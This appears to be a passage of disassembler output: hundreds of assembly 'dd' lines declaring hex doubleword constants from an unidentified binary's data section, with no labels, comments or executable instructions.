		dd 38C463C4h, 0A59DD00h, 3F2F1480h, 249C6842h, 28C37DE0h
		dd 70CC92D6h, 0FC9E03DDh, 0E8AF886Fh, 6EA09EDFh, 241FBA02h
		dd 5ECCBD48h, 6A2BA8CDh, 0F5DC146Ch, 86A90B81h,	682020CFh
		dd 0B581BBBh, 0BCDD8815h, 0D713059h, 9C006C18h,	0D7EC35A9h
		dd 0EB0A78Dh, 0DD2ADA33h, 5C2165A1h, 0C226AD8h,	0F454294Dh
		dd 0E8095D10h, 54293173h, 7B11649Dh, 51A6380h, 143C875Dh
		dd 82D85DA1h, 0F08F86AAh, 39DED8A0h, 0FC0EE6C8h, 60A4C66Bh
		dd 7B0F6D6Eh, 59970135h, 0A2988277h, 0C822EF1h,	44BCE42Eh
		dd 0DC04FFE4h, 669AEFE7h, 0C06028BFh, 0CEA88586h, 2760E208h
		dd 0C78A63h, 1B952014h,	59AF4DCEh, 34804090h, 0EB5F01E8h
		dd 1ABDAC81h, 803061A9h, 0DF2F9E0Dh, 21002C6Ah,	0ACC2FBB8h
		dd 0B561B7Dh, 5DDD43D7h, 16B6E048h, 8B087091h, 5893E63h
		dd 0DCC0D697h, 0AC9439D3h, 42184F25h, 0FC7949BEh, 4018D8AFh
		dd 1554425Bh, 0AC88C248h, 7AEB208Eh, 0E44F1A28h, 21809B73h
		dd 4FA67EE3h, 0F22C2108h, 5C160118h, 6ED0407Bh,	9F8EAAB6h
		dd 0B4E7AC4Bh, 6C19E809h, 8DE03410h, 0C3CF6900h, 2ED63170h
		dd 6CE0B752h, 6B0097EAh, 0D54BA598h, 0D2FABED7h, 0F2D0F2B9h
		dd 63443007h, 4E01B4Bh,	0C55F4127h, 970009Bh, 40134BC3h
		dd 0D31BC4E8h, 3F86FDDh, 0BFF0829Dh, 1585151h, 672EAAE4h
		dd 0D83B6E47h, 5B075523h, 95F2013Dh, 44F4C654h,	9B039E14h
		dd 34AF578Bh, 4349A015h, 897B02A6h, 2A3D8CF1h, 4F116C5Ch
		dd 98281602h, 84560AE5h, 1210467Ch, 1860665Dh, 5B6A9863h
		dd 0B21475E4h, 3075F268h, 8F01F4F1h, 0D5956A42h, 402A507Ah
		dd 0FFED69ACh, 0B300F66Dh, 0C50AB5C9h, 2CD8B1A6h, 0BE487A90h
		dd 0A7111407h, 6B914C3Ch, 60A0F74Bh, 0B4B80018h, 584A5C65h
		dd 55075FF2h, 0F045A121h, 6E381C12h, 2F5C3918h,	0C5296B17h
		dd 9050A28Ch, 5B8A22CCh, 0C546D66h, 409FFF1Ch, 81D8ABE0h
		dd 20F0DD24h, 0A940629Ch, 92B4131Bh, 6C4888AAh,	4C5E0909h
		dd 40402C44h, 9E38AC07h, 19C4A0F4h, 18F6E0BFh, 0A4086E53h
		dd 0F0013F2Ah, 0EB296DB7h, 96C43410h, 0A4297CA2h, 1769D082h
		dd 0BCEC5D05h, 0B7A99685h, 50204A90h, 78E2DD63h, 8420A5EBh
		dd 42E4A2CFh, 0F168D73h, 0E86AB785h, 22A405B0h,	0A810289Eh
		dd 90EACA70h, 192F7020h, 478840CFh, 0E4B0B480h,	0BD68AC62h
		dd 0FC0CE2C1h, 49BB9501h, 0EB389A0Fh, 5DD361E0h, 161854A5h
		dd 5C0FE924h, 0AA399C00h, 0D34F173Dh, 616D18C0h, 21EBC02Dh
		dd 0E0A1D918h, 7BD5B430h, 3C21C030h, 6353B305h,	89E0510Fh
		dd 0D5F083A9h, 0D19EA0CAh, 0A820BF2Dh, 0F47E634Eh, 65E3AC1Eh
		dd 20D8B20Eh, 0EE382B15h, 24ED48A2h, 9D6D5100h,	3519CCC6h
		dd 0FE5B6C12h, 0AB10BCBCh, 0D06E005Dh, 0F24F5AA8h, 0E2144FDEh
		dd 412BAD0h, 0B130B05Fh, 0D25408C4h, 69F61CC7h,	49FE2410h
		dd 8F9E0C60h, 7A62C710h, 3CAF908h, 2019132Bh, 0EE0814B9h
		dd 0B3342988h, 181E760Ch, 398240CAh, 0E060EC63h, 0E8181017h
		dd 2161189Ah, 0C61C4C10h, 18A90508h, 31455020h,	0F310CE80h
		dd 0D108889Fh, 59AB18B8h, 28C61583h, 31081154h,	4F186341h
		dd 1A47013Bh, 1B95B01h,	888CC53h, 2C0C545Fh, 0C4BB98EFh
		dd 9472B9D9h, 838846D4h, 39C42997h, 370C6813h, 0A8400E59h
		dd 0F98A8E4h, 0CF08CC3Ah
		dd 62636911h, 205E4220h, 0F46F58C1h, 0FA41D861h, 4D08C673h
		dd 0B16318DBh, 1819BE41h, 20ABD608h, 8C6B71Ah, 3128EA04h
		dd 0B4107BCAh, 82088C8Dh, 0C4C7302Ah, 66A9779h,	3118441Eh
		dd 68084CB8h, 641895AEh, 98FE10A8h, 58ED8C1Bh, 3E058692h
		dd 2996CC46h, 0A54D3108h, 88DFCB18h, 159EAF28h,	7110F005h
		dd 5BBC1018h, 8BA0118h,	18CA4055h, 798C8044h, 40E2088Ah
		dd 8040CCA2h, 28E56306h, 21209A71h, 5CFF20C1h, 8BE1633h
		dd 51E918D3h, 0C54A78E8h, 0E02118CAh, 704AAA92h, 9C88EC84h
		dd 52F60C8Bh, 0E4D98808h, 4E0171D0h, 9E088C85h,	62875810h
		dd 1BFA0828h, 23F1A02h,	4A0225C8h, 50C0C9A0h, 774C0888h
		dd 70118618h, 2584AA4Bh, 0D84A4980h, 868CF4CEh,	408008C8h
		dd 79407AC3h, 56A740CEh, 66F26340h, 31EB38EEh, 88706022h
		dd 0C43692F0h, 6BF2268h, 20103DEBh, 0DC365EE7h,	6229096Eh
		dd 1D473954h, 3556502h,	82481E5h, 0E899A490h, 0F051B719h
		dd 18884AACh, 0D20898A2h, 2E9D087Bh, 544E1F12h,	2B08B988h
		dd 74E3518Ah, 0EAD1B1F0h, 7F7190BBh, 9544C524h,	9E198C62h
		dd 51344038h, 9530E8E4h, 26907010h, 9882049h, 8A236AFh
		dd 209F7520h, 0DF4DB361h, 0C0713C4Ch, 0C390A9EBh, 0B645F988h
		dd 0F1D19918h, 63B4A2D6h, 0CC1076FEh, 0DB5180B1h, 13400F40h
		dd 204AED99h, 0F8A437A4h, 0F862FE26h, 50A39F81h, 10BE5B56h
		dd 66481F05h, 62F780E5h, 0BC2CB4A1h, 3C867C30h,	1845DE3h
		dd 222A45A2h, 2BA8EFB3h, 17AA64A0h, 0BCF0E54Fh,	701E934Ch
		dd 0A92A1403h, 86DFE8B0h, 0CE5971E5h, 56402C50h, 14B5300Bh
		dd 9A8E050Bh, 185C5A24h, 28DD5CE5h, 0FE6155A4h,	17FB50C1h
		dd 401074h, 419C39B5h, 0DCAC0EE8h, 0AA634375h, 0E2A46E28h
		dd 3C0852C1h, 62047C70h, 0F8C9E548h, 0FDAE0C04h, 0F834491Eh
		dd 75181E0Dh, 851953D4h, 1AA4B810h, 10085DD1h, 34E51644h
		dd 1A095A9h, 0B50CE984h, 0D51082A4h, 0FF8C4263h, 41A218A0h
		dd 2732E5FEh, 77BB2054h, 7AC978A0h, 0B000F20Ch,	0D70DB1D0h
		dd 0E44C506Fh, 92E5251Ah, 32D53882h, 7009845Ah,	63DC9Eh
		dd 2057A4A3h, 765B024Fh, 3FA2CA10h, 0DF1F0880h,	6D09B52Fh
		dd 0E97741ACh, 2FF6C0h,	7A087C44h, 0A53E31C0h, 0F792F72h
		dd 0C4D5A328h, 8CF00891h, 90142BD1h, 0B5AA07B0h, 15406A1Eh
		dd 308C4D1Fh, 0CA20BA57h, 0A229BD6Fh, 680B905Ah, 0AE1CC8E5h
		dd 50E798DDh, 21B8ACh, 0A4EFB502h, 9A1D0AA7h, 4CAA4E02h
		dd 0A74BB9E5h, 704057F8h, 68E7E304h, 108D8D2h, 9A41946Dh
		dd 1114233Eh, 777B24A5h, 0D234022Bh, 56A2D90Fh,	554F0881h
		dd 0CD30A057h, 0A820F930h, 39CFE7Dh, 0B4582BD4h, 0FEAF0198h
		dd 0B80AD280h, 4F18CBD0h, 5D386F3Eh, 99A7874h, 0F0C1DE4Ch
		dd 0CC655C20h, 6728C91Fh, 0AC0078F4h, 8E681EA5h, 6331D9h
		dd 204D32C7h, 0F010147Dh, 27BBC50Ah, 1A01D0D7h,	6328C50h
		dd 0BC5C9095h, 669A210h, 221618D2h, 40242859h, 0B8C12F0h
		dd 6504783h, 15F611ACh,	1483FA1Bh, 0DF901D4Eh, 591ED5C2h
		dd 9D020E71h, 0E0681576h, 199D1ECh, 3763D45Dh, 24D26A05h
		dd 0D1C0CFA4h, 0E9594B9Ah, 0A5AF00F0h, 0E1C4250h, 10481924h
		dd 5C430A10h, 1E18C0B0h, 802A3DC0h, 0A949ACC1h,	41B40954h
		dd 0D1DC182Eh, 90C98EBh, 16B527DFh, 1702B8DEh, 80A176E5h
		dd 9AAAC8E0h, 908748DDh, 57064283h, 3A1B4000h, 3DEF9A7h
		dd 0F8C2F92Ah, 0D3C50038h, 0E5D6B51Fh, 393CEE55h, 9A269ED7h
		dd 480B320Dh, 906B2CE0h, 67BE00DEh, 0BAC31A9Eh,	0FB07A489h
		dd 0DF1C9B04h, 0DC0BE6C0h, 8AFE0C86h, 0B0D1AA11h, 0E989401h
		dd 61A0E51Bh, 4445A880h, 3CA536C4h, 538C1E05h, 0A3009B19h
		dd 7DA89821h, 482C9877h, 0C4811018h, 1B0E94Fh, 24208C5Dh
		dd 680C04C7h, 803241FFh, 0B529AD90h, 3C70F548h,	1004485Ch
		dd 0E20386C2h, 5214E528h, 0C0328024h, 3021AD0Dh, 6DCDEC41h
		dd 469A0889h, 28058C10h, 4CCB548h, 970D43D0h, 74F46306h
		dd 294DF4Dh, 0E878B350h, 14104139h, 1706D30h, 22D524FBh
		dd 277C6D47h, 0AC5300B8h, 8AB86FE4h, 94145422h,	0FC9A55A5h
		dd 1FC5C080h, 0E767FE68h, 0AD008890h, 597171Eh,	2A45E31h
		dd 3EEBB150h, 2840E7EEh, 351E7CC0h, 0E506D90Ah,	24E88928h
		dd 30D096h, 1AAC8ABDh, 0D32043C7h, 0F0E8086Dh, 384A3DA2h
		dd 0EF80CB80h, 6518749h, 0DE425F05h, 0CFA2089h,	8C2A55h
		dd 0E89B4FCCh, 62F24890h, 0B8F61532h, 20C042AAh, 0B98C44C8h
		dd 0C060C1C2h, 80340ACAh, 13B51041h, 0B17CBDE5h, 6DCB4150h
		dd 39345243h, 1E06347Ch, 77782007h, 0DD20C017h,	32120D8Eh
		dd 31422909h, 0EFB00E27h, 3F28A1B6h, 4C24CA46h,	91C304DBh
		dd 83EB246Ah, 1105DC60h, 9B71C2C7h, 4E32BC30h, 52B727Bh
		dd 578AC6F0h, 56D05F78h, 42843047h, 4B0E4FAh, 0A1C76700h
		dd 0D87966Eh, 2C194D37h, 0BBACEE00h, 1CD4FF9Fh,	2C489A1Fh
		dd 0E503E0C1h, 0F8815BBEh, 0A9E917DDh, 654FE454h, 49DF9540h
		dd 4051F047h, 904C20h, 0A48B42B1h, 181E3154h, 2113D001h
		dd 8034D1B0h, 25DC30h, 0E77CE491h, 4D9BC6EBh, 0ED4B2400h
		dd 1868DD1Dh, 1A5924F2h, 4D48E570h, 26104AE4h, 0CCCD2480h
		dd 8E5DDA09h, 7FA6A690h, 1E85ED8h, 3F4FD1ACh, 49ACA7h
		dd 0A0016512h, 1DD05015h, 0A160D049h, 9A36000Ah, 162D282Bh
		dd 0A04A87A3h, 435AD090h, 67B0E28Ch, 0E0021010h, 2817839Dh
		dd 5A2DBD0Ch, 40F1204Fh, 7B00C607h, 0B506494Ch,	0EA537EDDh
		dd 9A4B0102h, 40D4AE43h, 5860FEF3h, 0A37F6055h,	8AB9101Fh
		dd 7740603Fh, 0C88E020h, 49014F46h, 90056A9h, 9BD7FAB7h
		dd 622433h, 8C05289Fh, 0D8B80FCEh, 5D425B00h, 0FBB36116h
		dd 12190023h, 3F509617h, 0B88B11h, 16CC60C5h, 28E5F088h
		dd 24F458ADh, 213CFBACh, 43A201B0h, 550FDFFEh, 7D740AF4h
		dd 5C5D40CCh, 1F204FCCh, 6C93B3h, 6C09C4CDh, 0EF264F8Dh
		dd 0B1003C79h, 0A220BC4Ah, 0FF9A7748h, 983B19C0h, 0DE6017D0h
		dd 7CA50C69h, 1B03D1A0h, 4974B3A9h, 0FFB4E138h,	5F87C457h
		dd 19EC682h, 24D62A42h,	7001C970h, 8CB052B3h, 80041FF7h
		dd 0BF079314h, 8A9DA10Ch, 0EA8EE0E1h, 22D72C7Ah, 74E301B4h
		dd 20A46215h, 0E0509298h, 814EA9Ch, 3C8C8291h, 4B1BEA5h
		dd 0F14F9889h, 6021EC92h, 588AF5h, 395B56A4h, 0FF4FB3ACh
		dd 4117ACB6h, 7105E807h, 0C097B1E0h, 74961314h,	87F8F080h
		dd 0BECAAB18h, 2C99A8h,	0EAF962C3h, 5010849Dh, 48A64530h
		dd 0FC478AE0h, 9AE602EDh, 1C255E37h, 11D2E4C8h,	9E3A6815h
		dd 0CDC58E0h, 10809BE5h, 16C940Fh, 0BA5066B4h, 37508999h
		dd 0B37C8534h, 0BF7D808h, 1C2E1D42h, 62CC6136h,	81AC20FEh
		dd 4FA9CE60h, 921340Bh,	5E0D6A1Fh, 5AC2403h, 3F401AC2h
		dd 709814C1h, 0CB586E60h, 0FBA2BE6Fh, 66249C32h, 39420630h
		dd 0ACB21168h, 50221400h, 0A47192FFh, 60ED03E7h, 0F265D44Ah
		dd 0AC7F42E8h, 9CF06CB2h, 36316100h, 1072C90Fh,	0C45B134Ch
		dd 0B0BC440Bh, 5CDA011Bh, 8CC44999h, 801C60D6h,	31D7411Ah
		dd 578D259h, 2EC06FC9h,	4A947801h, 8C20AE8Ch, 84D9DC44h
		dd 88289A82h, 0BC5C4D7Ch, 100BC65Ch, 0C83A50F0h, 5844985Ch
		dd 0E50B14A2h, 1C2038F6h, 0FC472AFAh, 43506800h, 36E318F4h
		dd 20F4ACh, 0CF59483Bh
		dd 331BEECBh, 6B83900h,	422DC8E3h, 844F5965h, 43C6E50Bh
		dd 5C528F89h, 30CAF0C2h, 570C0D1h, 404B838h, 9843DDBFh
		dd 0CC680476h, 60F58A4h, 0E9E518CAh, 6395982Bh,	4858C3BCh
		dd 4324A890h, 0A8AB0090h, 0A5663B70h, 68411E28h, 3DAFBA20h
		dd 8705497Eh, 46ADECACh, 719A4084h, 0C79FEB00h,	70DBB4A8h
		dd 34B8986Eh, 0C048AEC6h, 0B53005E4h, 0A487C01h, 8E9D0CD2h
		dd 0F7005828h, 22E9D424h, 0CF244FE6h, 6080803Ah, 2EEB2767h
		dd 82701818h, 80D018BEh, 8855422Ah, 8C9D1D00h, 0DDE5121Bh
		dd 488092C8h, 8C58605Ch, 2796A210h, 2A87816h, 0F0960C9h
		dd 34599C6Eh, 64009444h, 6B68E843h, 0ACCC009Fh,	3C1B1F0Dh
		dd 828BB9A3h, 5C005334h, 0C7CF2261h, 249A5D00h,	107002FBh
		dd 2A8733E5h, 0F6926648h, 5603AC4Eh, 92C2DEACh,	1A0FE841h
		dd 424416EFh, 21F440E0h, 67F7AC3Ah, 4CE0CA52h, 1A45218h
		dd 91D9BAE8h, 43D1AC0Eh, 0DC50C6h, 54A2BB32h, 6D83A89Fh
		dd 8AB5E804h, 1017C1C2h, 0C8908C38h, 0AEE00793h, 6449490Bh
		dd 62C06194h, 0DBF600E8h, 0E0A444B4h, 0FF8B10D0h, 106424CCh
		dd 0DD173711h, 90E4A462h, 2420E64Eh, 0B82A2716h, 0BC9E40A4h
		dd 48BB9304h, 0DCFCAA09h, 2430423Eh, 0ABC579C0h, 0B020490Ah
		dd 402A5462h, 0C47F982Eh, 5EE90052h, 787AD8h, 0A5204424h
		dd 0DC7CC78Ah, 5A9F3F00h, 681B769Dh, 0BEA914CAh, 0CF27F58Fh
		dd 9CDEB400h, 0B200308Dh, 2832B6F3h, 4B645DFFh,	8CB430D1h
		dd 0B0BAEC62h, 0C43C8D2Eh, 0EF6A4261h, 0F624060h, 26018EA3h
		dd 1943D420h, 78992404h, 0B4009017h, 63CF70D9h,	37675FAh
		dd 7E774184h, 0E4E3DCCEh, 902C50B6h, 211640DDh,	15A6F800h
		dd 0D5F47Fh, 3EA2C131h,	61DCB479h, 3AD96700h, 24760AA9h
		dd 421B0B41h, 0D80459A2h, 0E008F41Fh, 0D03C3749h, 0FA3D7DCCh
		dd 6C855ECAh, 25D6C820h, 40C64C79h, 0CB133204h,	0DD478115h
		dd 70E5E976h, 49F0E1A7h, 0C1E6A400h, 8098AAAh, 5BC602F2h
		dd 0F7648744h, 0D48D0441h, 1C5C5CC7h, 0FA610F84h, 0DAE5A422h
		dd 2BD28A0h, 49D11D2Ch,	0F0C025AAh, 0C781268Fh,	1CAC0E60h
		dd 6F314F4Ah, 0C890F05Ah, 5DD13A09h, 0A0D0EC0Eh, 824AC9F8h
		dd 0DC843C72h, 4F3C4C09h, 0A048C088h, 2310008Ch, 711820E8h
		dd 28C0CDD9h, 6AC47F9Ch, 638B27A3h, 0CCD005h, 239BD9ECh
		dd 0A203DD67h, 61A187F9h, 9E200485h, 0D0A414E9h, 6719E0F0h
		dd 0E5795C61h, 2035AEF7h, 0A1DC60D6h, 0D10C727h, 72340761h
		dd 6C440E5Ch, 5BB4E1Ch,	8C1C2397h, 0FFD8C882h, 1558E018h
		dd 17217514h, 169E5B0h,	7123BA34h, 2EF1C468h, 0FF01D07Dh
		dd 0D14F4322h, 5C2D1ADAh, 7EE51504h, 4FCCF20Fh,	0C0C48009h
		dd 5FAB4FC8h, 8918817Fh, 8475D010h, 0B931A18h, 163C1840h
		dd 424543DBh, 6DDD1BD4h, 14792442h, 0E9D909h, 87429928h
		dd 35C90CEh, 4649897Ah,	0C8B0A504h, 4030E5ADh, 3EA43808h
		dd 0D813055Fh, 81E6E7AAh, 24A5068h, 345CD06Ah, 0C11090EDh
		dd 317F54h, 0E8C4EAA5h,	0E9D2046Ah, 805E641Ah, 22B48A74h
		dd 2C6190C0h, 4CC28C35h, 1CDE4054h, 822C24F5h, 57A442AEh
		dd 174F1C46h, 0E8EFB822h, 62B242A8h, 9F68C8FAh,	0A4282444h
		dd 14B81C50h, 157BCD00h, 0A5B9FCA7h, 565C2458h,	1A50E14Ch
		dd 0DDC840ECh, 0A6F8E68Ah, 7A42BA0Ch, 191360C5h, 0E0DB9668h
		dd 81E1ED8Ch, 0E027EF38h, 0F8705B62h, 2422EBDh,	0DC1794CCh
		dd 986AA786h, 878C5208h, 0C7E1FE4h, 2270D79Fh, 423A0478h
		dd 1CEB93C4h, 44800074h, 95229DEh, 0F7AD7F86h, 6E0B9456h
		dd 71843AA4h, 3502BE6Ch, 0F6E72B90h, 73671049h,	5DD5132Ch
		dd 400DD403h, 0F6693CE2h, 0A4F04C79h, 30CE0700h, 4154A480h
		dd 483EFD01h, 0C5D8B7E7h, 0E583282Ch, 4058903Ch, 0DC961360h
		dd 0D072AC16h, 8CC499FEh, 2F754F01h, 20074404h,	1376F0B2h
		dd 61D67F68h, 0D004AF0Ch, 4A308C40h, 3202480Ch,	0A16C04DDh
		dd 0CBEDFC1Fh, 0D8E80130h, 0B29743C4h, 8C201094h, 8C138047h
		dd 0C70C8082h, 3D022113h, 0ACB0BE9Fh, 483DC33Fh, 984C48E1h
		dd 0CC08105Ah, 94245F21h, 833C8000h, 58775D18h,	704FCCEh
		dd 87737F6Ah, 0DBA5905Ch, 1BFA5075h, 1FAD3580h,	395D61C5h
		dd 6794562Ch, 0D7392025h, 0E353D2C6h, 0B39E10B0h, 3E64AA2Eh
		dd 0ACA480E8h, 2016820Ch, 5542682Ah, 10869C2Bh,	0EB04511Dh
		dd 0BB4AFBFFh, 2EE869C1h, 738DE3D0h, 890206DAh,	0F8DB2ACAh
		dd 784F5008h, 0BA530490h, 13E8808Dh, 8C02455Ah,	0CA319516h
		dd 4DE0C823h, 810F2E79h, 59EF8FB8h, 0D6337FC0h,	5D000ECEh
		dd 0E697D26Bh, 0E867537Ch, 64260B51h, 0F80142FFh, 0C415819Dh
		dd 5F002F22h, 0E4346F2Bh, 77AC391Ch, 34E84C4Eh,	5194E510h
		dd 0A6E005A4h, 2DE860E4h, 26296109h, 87EC17E5h,	672763C7h
		dd 48C0FB4Ch, 0DB487C42h, 0E2F72D4Ch, 78E812FCh, 6FC009CCh
		dd 189AA2BFh, 0AE5C244Ch, 304424A8h, 0BF000C9h,	50036Fh
		dd 43D82DD2h, 0DDADA6C7h, 1EB47058h, 4F46E458h,	88486C5Bh
		dd 0C07C5DCh, 0F3AA4224h, 0F2076790h, 0BED92CB9h, 3082E0A4h
		dd 0E98EC08Ch, 6B180935h, 0F8A07DDBh, 0D3BB9B54h, 84C1140Bh
		dd 0E184437h, 6995AC33h, 0BFBE6700h, 0A90E31FEh, 207843A4h
		dd 284F1D10h, 2D88D3C3h, 0E5F86408h, 18EB6524h,	0CA54A200h
		dd 13B0EE99h, 0ED8E4Fh,	42CB3350h, 254BA5F1h, 131D9C5Eh
		dd 0C50598AEh, 0F880C287h, 528B04h, 3264D738h, 3995CD89h
		dd 0C5ED0F00h, 0D9237BC7h, 510032Fh, 3F634276h,	0A8EDC90Ch
		dd 51CB88A5h, 7471E4B9h, 0DC7876E1h, 0C41B0CDEh, 0C1180F20h
		dd 6C08B4FBh, 9462F069h, 1D133E94h, 0C0A49770h,	0B7A84FCBh
		dd 15DF5380h, 0F44C9343h, 0F51EF200h, 478C7921h, 8C84CB4Ah
		dd 0F4098C1Eh, 45290h, 0EAF0D308h, 0C6D8BC4Dh, 9A17C400h
		dd 65EE0437h, 19E50957h, 744CE30Ah, 4184F609h, 32F404AAh
		dd 8C44E080h, 0B8E64DAEh, 0A4353000h, 0F6EF405Bh, 0D3E7F307h
		dd 20AD248Ah, 0C0090047h, 12151D3Ch, 13F9FC98h,	4260C1C0h
		dd 9146C7Eh, 440A68CAh,	0E5AE0A0Ch, 0B5A4D929h,	0E8201F90h
		dd 0C9F20187h, 0B126597Fh, 0C46AF0ABh, 31C05518h, 1F560D0h
		dd 56ADB224h, 40283042h, 0A8FE07F0h, 189E4099h,	4B018784h
		dd 0F484A495h, 58604CA5h, 0C4185812h, 93A8A0D6h, 0AA65C309h
		dd 0F244F024h, 143D48F6h, 5E793C4Dh, 0E0EC13FEh, 0B61FE808h
		dd 6E1E7224h, 259818F7h, 0C31680A2h, 0C098D0EBh, 4317E3D3h
		dd 440D2DAh, 0BF6B44D9h, 0E6A40070h, 6CEF3D66h,	2C98F2E8h
		dd 1380EB72h, 0B0543E18h, 0F9645B81h, 0E271E5EAh, 745D68C9h
		dd 0E8A96948h, 50903C77h, 5C92673Ch, 627AC098h,	0AC6CE024h
		dd 64499A42h, 37DF2DE0h, 0C36FC410h, 0E0D48A18h, 885E2129h
		dd 733EFDE5h, 9BD700E7h, 0F3350A24h, 1D890D0h, 0D19C9D27h
		dd 54423903h, 22C44980h, 515C2900h, 11FA25B7h, 57B8073h
		dd 0E030E52Eh, 4FC4249Fh, 0B0A94B9Eh, 5A40D039h, 0BB955EF8h
		dd 0F734F188h, 28942089h, 4450570Ch, 5CF09648h,	9E670148h
		dd 7ADE0CBFh, 1F984C70h, 0FC67E51h, 21A02AC7h, 0C8F0A489h
		dd 0FC79591Fh, 6BAE9F00h, 558B1F71h, 582DE8D7h,	0DC3CD060h
		dd 9CA4279Bh, 43DE4E09h, 1107099h, 6566391Ah, 0EDD88C03h
		dd 275C33FEh, 7EFC60FFh, 0D2670047h, 951DCFC5h,	2D62A98Ch
		dd 594AAA68h, 3F8C42A8h
		dd 1C90A8F2h, 3AE0A46Bh, 0B018CCA4h, 43889E84h,	82CC20A3h
		dd 0B30734ECh, 18E068B9h, 0D2C8028Ah, 75534F8Eh, 58EFE060h
		dd 0AF2D9A04h, 0C8805703h, 2E519180h, 13D41C60h, 0E8A60076h
		dd 11CC46A5h, 0B4EFD705h, 0BC4537FEh, 5C040F44h, 9C853302h
		dd 0CA43E8D3h, 0C40460F0h, 42221907h, 0E119115Ah, 444C4120h
		dd 32FC28F6h, 5C1A21EAh, 684F0644h, 5D04E8B1h, 3BEAB6D9h
		dd 76C9DC89h, 0B54CAED0h, 0C083CB2h, 0ABD20314h, 7CE93F16h
		dd 77A09234h, 0F2E94405h, 60AA2C82h, 94200BE0h,	3EE8A950h
		dd 0CD936848h, 0F7E8007Ch, 576132F0h, 0A66B8A08h, 32B10434h
		dd 285166ACh, 63D3D4B8h, 0A64F4800h, 0E5DF38Dh,	0F09758D0h
		dd 4378E007h, 161810BEh, 3F06B13Ch, 7EBA45Bh, 27D23F42h
		dd 509A2C83h, 63D0A0DCh, 0D3485EADh, 0B01B0078h, 98C3DD0h
		dd 0C088DCD6h, 19EEB931h, 0B0B2FE6Ah, 99164904h, 28B071A0h
		dd 186E60D5h, 4FE18CE0h, 0E0A1F64Bh, 5C318404h,	312F9BC7h
		dd 530A0B0h, 1FEF68A0h,	0B20B50Fh, 944CC95Ch, 0AF40C278h
		dd 9AF4A170h, 88E818A9h, 4426622Ah, 0DF43D0E0h,	921CAA75h
		dd 183880C8h, 31A90EBEh, 3620E57Dh, 99508D42h, 0E42219B2h
		dd 9B03C602h, 0C0EB3EE5h, 86A9BFC9h, 46F94270h,	0D9620060h
		dd 0AD33ABEDh, 53E8AA77h, 29BEBA01h, 9C02BFF6h,	56DF5C2Ch
		dd 0A02C544Ah, 6DA4405Eh, 0B4DB2009h, 1EF34209h, 42F86524h
		dd 18712113h, 0E81B430Bh, 387E6A8Ch, 3A04FF2h, 0C28D494h
		dd 0BFC0D00h, 832FD04Eh, 0C94A067Eh, 5E42F167h,	2C289358h
		dd 171D3668h, 7FEC073Fh, 41CF5196h, 6D1982A6h, 0B3AE6F0h
		dd 4C8193D1h, 0A63BD061h, 1420F811h, 54051C00h,	0DC9FF7D3h
		dd 52F33743h, 8C4FE0C0h, 0D0C06E6Bh, 61E0F22Bh,	9E630B1Ah
		dd 0C0007765h, 6A51017Ch, 5FE408B2h, 0FD8EE4B4h, 0C4558150h
		dd 7B204Fh, 44B04D34h, 0DA25E8F2h, 42D0B0CAh, 1E6C403Ch
		dd 127EA53Ch, 749049EDh, 54C04BCh, 8B43E07Ch, 42BC1F34h
		dd 0E299BEE5h, 772FF800h, 70C3640Bh, 9EDCA809h,	1AEF7507h
		dd 0F0ACA28Fh, 8CD89867h, 0D314405Eh, 42186561h, 60800F84h
		dd 1A0E7B0Ch, 4C9636AAh, 9605B1Fh, 890DB318h, 0C7E8F08Fh
		dd 0B531CC00h, 80F6D38Ah, 584B6CC1h, 5C2A3C89h,	0C969D22Ch
		dd 0BDBBD79Ch, 31D43003h, 98E4A2D3h, 786AF559h,	0F4520332h
		dd 8F2DEB67h, 534317A8h, 51EF1D03h, 699142h, 78082160h
		dd 87E01E77h, 65244FE4h, 6C8058B4h, 768D5735h, 373D1362h
		dd 4D4B062Ch, 441C2005h, 0E8C963DFh, 0DF8E0CBh,	0C8D0546Bh
		dd 840850EAh, 0D14C9670h, 39250732h, 207B405h, 6246BC47h
		dd 43DA42E0h, 8401BFF6h, 0E92EEA28h, 12842C2Ch,	0ECE1D66Fh
		dd 0F880D8FBh, 38E5B9Dh, 356004B8h, 0EEE1DFA8h,	80C7AC38h
		dd 0A9102214h, 13A444B5h, 1965857h, 8F08E980h, 0F1C02506h
		dd 22C2C471h, 18594F18h, 0F7E3B90h, 38E76740h, 8CAF29A0h
		dd 0BCB2D810h, 0C8E04739h, 3B82C444h, 48826E09h, 58C8FEA9h
		dd 0ECB8FFA6h, 1FF46613h, 0FBD088C7h, 9ACBE513h, 84D45888h
		dd 1EF00C30h, 770B75A8h, 0A8CFE516h, 91128810h,	4C1848A0h
		dd 3EC01C15h, 0DE7363C7h, 0A2D1E70Ah, 1F050856h, 0B4F09668h
		dd 0C0805F8Ch, 3CAC46Ch, 0E4C8244Bh, 0C70F984Fh, 647D0828h
		dd 0DC00BF32h, 0C72BE527h, 0B8DF1E7Ch, 20CFCC0h, 9B90E770h
		dd 40983807h, 3FC11503h, 4B2FE2CDh, 5881E3C8h, 3AD46E50h
		dd 4852CC0Ch, 1F0C0553h, 0B374A56Bh, 6E51348h, 33D4C044h
		dd 542784F2h, 0BDE5AC81h, 34C00432h, 3E757C35h,	8717F676h
		dd 5C58F8F3h, 8B50832Ch, 5DD028FFh, 488C1934h, 0FA1658A8h
		dd 3988E87Bh, 4CC93BC1h, 1315FC4h, 6DF3AC42h, 89C35869h
		dd 5F98A8C6h, 1A072448h, 93021C07h, 69D1B2C0h, 17C8F878h
		dd 452D27FCh, 0F39BDB18h, 0B6AA10FCh, 0CB901606h, 3D261883h
		dd 0D218569Eh, 14659A8h, 0E4F5655Fh, 92AC53E5h,	3C200D30h
		dd 25B8E7CCh, 0DC93FFD8h, 48A2D850h, 60C510CBh,	0B05317D0h
		dd 0C9691h, 0D8487EA6h,	0DD1BE9A5h, 0C858978Ah,	0B6FADBh
		dd 9E6FCB3Dh, 7B4F4AABh, 825944Bh, 2562C893h, 1C90A7D0h
		dd 1A05CE28h, 735D14E9h, 80544C4h, 0B4A015E5h, 1CE40024h
		dd 0ADC2DE4Eh, 0B501C382h, 3E8CDD19h, 0E0CC2203h, 174F099h
		dd 0CA87D1C7h, 64266042h, 90BE9E98h, 24A33564h,	8200952Eh
		dd 0F0E51EFDh, 0AA2588F0h, 5FCA905h, 0C88824C5h, 0B66F038Ah
		dd 42331AABh, 0E5A85BE3h, 28904359h, 20D3D103h,	4AB5BB4Eh
		dd 0E5E48048h, 60BA9F9Eh, 3937E002h, 0E98B178Ch, 0D434C650h
		dd 70DD031Dh, 3D460E85h, 700E0C6h, 0D0C8FEB5h, 24A5CBF8h
		dd 177CB6D9h, 575490BEh, 0FC1F4C29h, 97181FB0h,	0A90B89h
